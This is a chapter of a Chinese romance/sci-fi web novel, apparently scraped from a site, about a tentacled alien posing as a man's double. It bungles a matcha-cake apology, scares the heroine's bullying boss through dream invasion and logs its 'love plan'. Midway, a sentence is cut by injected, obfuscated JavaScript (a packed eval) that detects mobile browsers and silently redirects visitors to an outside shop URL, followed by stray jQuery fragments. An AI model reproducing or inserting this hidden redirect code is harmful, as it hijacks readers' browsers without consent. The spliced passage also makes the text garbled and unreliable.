阮华蓁回到云锦城的时候,已经是晚上十点半。

    她摁下密码打开门,站在玄关愣了一下,客厅黑着,但陆珩的卧室门没关严,漏出一线暖黄色的光。

    她打开客厅的灯,然后愣住了。

    地面锃光瓦亮,茶几上她之前乱放的书籍和零食被码得整整齐齐,沙发上的毛毯叠得像豆腐块,连抱枕的上的绣着的小兔子都朝着同一个方向。阳台上晾衣处挂着她扔在脏衣篓里的外套、牛仔裤、还有一件……白色的针织衫。

    那件白针织衫被染上了一片蓝。

    衣摆处夹着一张纸条,是陆珩遒劲漂亮的字:“我不知道你的牛仔裤会掉色。这件衣服多少钱?我赔你。”

    阮华蓁看着那张纸条,嘴角慢慢翘起来。

    她手里提着一盒回来路上买的抹茶蛋糕,她记得陆珩说喜欢这个。她走向陆珩的房间,想敲门,手顿住了。

    “蓁蓁你加班辛苦了。”门里传来陆珩的声音,语调温柔,像在念台词。

    然后顿了一下。

    “我来接你。”语气换成了轻松一点的。

    “我生气了。”声音沉下去。

    “你哄哄我好不好。”又变成了委屈。

    “对不起。”最后一句低低的,带着一点叹息。

    阮华蓁凑近门缝看了一眼,陆珩正对着卧室里那面穿衣镜,脸上表情变幻飞快:蹙眉、微笑、沉脸、委屈、恢复面无表情,然后又是新一轮。像在练习一场独角戏,怎么也找不到最合适的那张脸。

    最后他叹息一声,肩膀微微垮下来,像一只不知道该怎么讨主人欢心的、被冷落在角落里的猫。

    阮华蓁没忍住,“噗”地笑出了声。

    镜子前的陆珩猛地扭头,脸色微微窘迫,最后定格在“不知所措但努力维持体面”的复杂状态。

    “你回来了?”他的声音带着一点小心翼翼的试探。

    “嗯。”阮华蓁推开门,把那盒蛋糕举到他面前,“你最喜欢的抹茶千层。”

    佐斯低头看着那个碧绿色的蛋糕,抹茶粉撒在表面,千层叠得整整齐齐。祂闻着那个味道,忽然觉得胃里有什么东西在翻涌。祂腹腔里那枚精核在轻轻震颤,像被什么东西戳了一下。

    这个味道……不对。

    祂不确定是蛋糕本身,还是她身上残留的气息混合在一起,让祂产生了反应。

    祂的舌尖不受控地分叉了零点几秒,蓝色的、细长的、带着银蓝色纹路的触手芯子,从手指尖探出来一瞬,又猛地缩了回去。

    阮华蓁只觉得眼前一花,像有无数线头在陆珩的手上闪了一下。她眨了眨眼,以为是自己加班加花了眼。

    再看,只见陆珩的手握紧成拳。

    “怎么了?”她问,“不喜欢吗?”

    “喜欢。”佐斯的声音有点发紧。祂想伸手接过蛋糕,但指尖刚抬起来,祂就感觉到皮肤下有什么东西在拼命往外涌。那些触手,像被蛋糕的气息激活了一样,正在皮下疯狂鼓动,想要冲破桎梏。

    祂好想碰她了,好想用触手缠住她的手腕、她的腰、她的脖颈,把她圈在自己的领地里,谁也不给看。

    “那你尝一口。”阮华蓁拿起叉子,切了一小块,递到祂嘴边。

    这个人类雌性在喂祂。她在道歉,祂应该吃。

    祂挤出微笑,吃下了那块蛋糕,在抹茶触及祂味蕾的时候,祂的精核猛地震了一下,像被什么力量撞在了最脆弱的地方。祂的眼睛瞬间变成了彩色的裂隙,银蓝色的光从虹膜深处炸开——

    祂猛地推了她一把。

    力道太大了,阮华蓁肩膀撞在门框上,手里的蛋糕啪嗒掉在地上,奶油和抹茶摊开来,绿绿白白,像一块发霉的污渍。

    “……对不起。”佐斯背过身去,声音低得几乎听不见。祂扭着头,假装咳着,将双手背到了身后,原本是人类的十指指尖已经变成了半透明的银蓝色触手,在祂背后面疯狂扭动,像一群被关在笼子里的蛇。

    阮华蓁扶着门框站起来,肩膀火辣辣地疼。她看着陆珩的背影,他整个人都在微微发抖,肩膀绷得死紧,像在拼命压着什么。

    “……是蛋糕的问题吗?”她小声问。

    “嗯。”佐斯的声音闷闷的,“……宝宝不喜欢抹茶。”

    阮华蓁看到他抖成那样,想着可能是抑郁性厌食又犯了。她弯腰想捡地上的蛋糕,佐斯头也没回地说了一句:“别捡了。”

    然后他脚尖一勾,门关上了。

    门板差点砸到阮华蓁的鼻子上,抹茶蛋糕甜香的奶油味还萦绕鼻端,阮华蓁却觉得鼻子发酸,大眼睛里慢慢染上了水雾,左眼睛里的小红痣红的鲜艳欲滴,在阮华蓁的泪光里,活了一样,跳动了两下。

    是道歉被拒了吗?

    阮华蓁不清楚,觉得男人心,海底针,好难琢磨。

    佐斯靠在门板上,听着她的脚步声走远。祂的手掌还按在镜子上,十根手指已经全部变成了触手,密密麻麻的银蓝色丝线在镜面上画出无数道扭曲的纹路,像一幅正在生长的、疯狂的地图。

    祂的精核在腹腔里剧烈跳动,像一颗失控的引擎。

    她走了。

    她生气了。

    她买的蛋糕。

    祂把蛋糕摔了。

    祂推了她。

    祂的触手在空气中狂乱地舞动,每一个分叉的尖端都裂开细小的、猩红色的嘴巴,发出重叠在一起的声音:

    “她生气了怎么办怎么办怎么办——”

    “去道歉——”

    “她会原谅你的——”

    “她哭了——”

    “你弄哭她了——”

    佐斯猛地抬头,所有的触手在同一瞬间僵住。祂从镜子里看到自己——人类的脸上,那双眼睛是彩色的裂隙,像两道正在吞噬光线的彩虹深渊。

    祂听见自己说了一句话,声音很轻,但每一个字都像被刻在了空气里:“……她哭了。”

    然后祂把额头抵在冰凉的镜面上,闭了一下眼睛。触手慢慢缩回体内,皮肤恢复成人类的颜色,十根手指重新变回修长苍白的模样。

    祂站了很久,久到隔壁的卧室里传来她绵长熟睡的呼吸。

    是夜,周所长睡得极不安稳。

    他梦见自己被无数透明的、泛着银蓝色光芒的触手追着跑。那些触手从天花板垂下来,从地板缝里钻出来,从墙壁里渗出来,像一张不断收紧的网,把他逼到角落。每一个触手尖端都裂开细小的、猩红色的嘴巴,发出重叠在一起的、不像人类的声音:

    “自己的作业,自己做。”

    “别压榨员工。”

    “再让她加班——”

    触手猛地冲过来,箍住他的脖颈,越收越紧。窒息感像潮水一样淹没了他,就在他觉得自己快要死掉的时候,触手松开了。

    周所长尖叫着从床上弹坐起来,满身冷汗,心脏狂跳,睡衣湿透了。他大口喘着气,盯着天花板,感觉那十几只猩红的嘴巴还在黑暗中盯着他。

    第二天一早,阮华蓁刚到公司,就在走廊里碰到了周所长。他脸色苍白得吓人,眼眶发青,像被人熬了七天七夜,走路都带着一种飘忽感。

    他看到阮华蓁的时候,眼神飞快地闪了一下,像被烫到了一样:“小阮啊,那个作业……后面的问题我自己改就行了。你不用管了。”

    阮华蓁愣了一下:“周所,我昨天发现有个章节的数据还可以再调整下……”

    “不用了不用了!”周所长摆手摆得像在驱赶蚊子,“我自己来,你忙你的项目。”

    他低着头快步走了,像怕被她盯上一样。

    阮华蓁看着他的背影,总觉得哪里不对。她回到工位,打开电脑,给刘雯发微信:“周所长今天有点不对劲。”

    刘雯秒回:“哪里不对劲?”

    “他好像被吓到了。早上看到我,眼神都躲着我。”

    “可能是做了噩梦吧。”刘雯后面跟了一串发疯的兔斯基表情包,“你管他呢,他不让你加班还不好!”

    阮华蓁看着那串兔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695616|207075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    斯基,笑了一下,但心里还是觉得怪怪的。

    她不知道的是,此时在云锦城的房子里,佐斯正站在阳台上,手里端着一杯冰凉的柠檬水,看着楼下京城早晨的车水马龙。

    窗外的阳光照进来,在祂身后拉出一道长长的影子。那影子的边缘,隐约有细小的触须在轻轻摆动,像水底的植物被暗流带动的样子。

    祂体内有无数声音在叽叽喳喳地争论:

    “那个周所长真废物,一吓唬心跳差点停了。”

    “谁让他老是欺负蓁蓁!”

    “不过他没死吧?”

    “没有,只是吓了一下。”

    “那就好,蓁蓁不喜欢杀人。毕竟那是她的同类。”

    “肥胖而肮脏的雄性,怎么能和香香软软的人类雌性相提并论!”

    佐斯啜了一口柠檬水,嘴角微微弯了一下。

    “她今天会回来吃饭吗?”无数声音重叠在一起,在祂的胸腔里回荡。

    祂低头看了一眼手机,阮华蓁的对话框还停留在昨晚上,没有新消息。

    “会。”佐斯说。

    帮助雌性摆平欺负她的上司,是人类情侣关系里体现男友价值的方式之一。他可比那个江辰有价值多了!她一定喜欢,只是不能直接告诉她。以后处理这事最好还是用更人类的方式。

    祂正在学习爱一个人类,而且学得很快。

    只是那颗复制来的心脏有时候会变得不听话。

    昨晚上听到她站在门外吸鼻子想哭时,心脏竟然紧缩难受了几秒,像是病了一样。

    祂从口袋里捻出几粒珍珠般的能量粒,捏碎。深吸了口气,昨晚上的抹茶蛋糕竟然能激让他能量失控,和那个中阶x星雌性脱不了干系。

    【蓁爱推进计划·第28天·清晨】

    ?家务补偿——清洗并晾晒了她的衣物(含染色事故一件,待赔偿)。效果:她看到纸条时嘴角翘起,好感度+1。

    ?表情练习——对着镜子演练了六种表情组合。效果:故意被她撞见。尴尬但未造成负面印象。结论:人类女性对“努力讨好的笨拙”接受度较高。

    ?抹茶蛋糕事件——她主动道歉并投喂,属于亲密关系中的正向行为。但抹茶蛋糕引发精核异常震动(原因:中阶X星雌性潜伏期残留的能量污染,已标记为威胁源)。导致触手失控、推开她、蛋糕掉落。结论:食物安全需要重新评估。

    ×伤害事件——推她撞到门框,肩膀出现淤青。负面记录。需在24小时内补偿。补偿方案:涂药按摩(待她允许)+购物(无限制额度)。

    ×情绪失控——她哭了。心率低于正常值5%,呼吸频率降低,声音带鼻音。祂在门后听到后,心脏紧缩感持续3秒钟。此反应与生理疾病无关,已标记为“情感反射”。结论:心脏不喜欢她哭。

    ×未及时追踪——抹茶蛋糕的能量污染源(中阶X星雌性)尚未锁定,她可能再次接触类似污染物。威胁等级:中。

    ?周所长噩梦——已通过触手梦境入侵完成警告,他放弃了压榨她做作业的行为。效果:她在公司减少了加班频率(-30%)。社会关系保护成功。

    ?自我改进——决定下次采用更“人类”的方式解决职场问题,而非直接干预生理机能。成长指数:+1。

    表情管理评分:60分(推开她的动作太生硬,扣30分;没有及时解释原因,扣15分;但在门后忍耐触手暴走时没有发出声音,加5分。调整后60分,勉强合格,下次需改进。)

    下一次重点:对抹茶蛋糕中的能量污染源展开调查。

    X星文字:

    她哭了。

    她的红痣在眼泪里跳动。

    ——大脑的记录里从未有过这种数据。

    蛋糕有问题。

    能量污染。

    是谁?

    ——那个中阶X星雌性。

    一定会找到她。

    ——以牙还牙。

    加密。

    密钥:蓁蓁。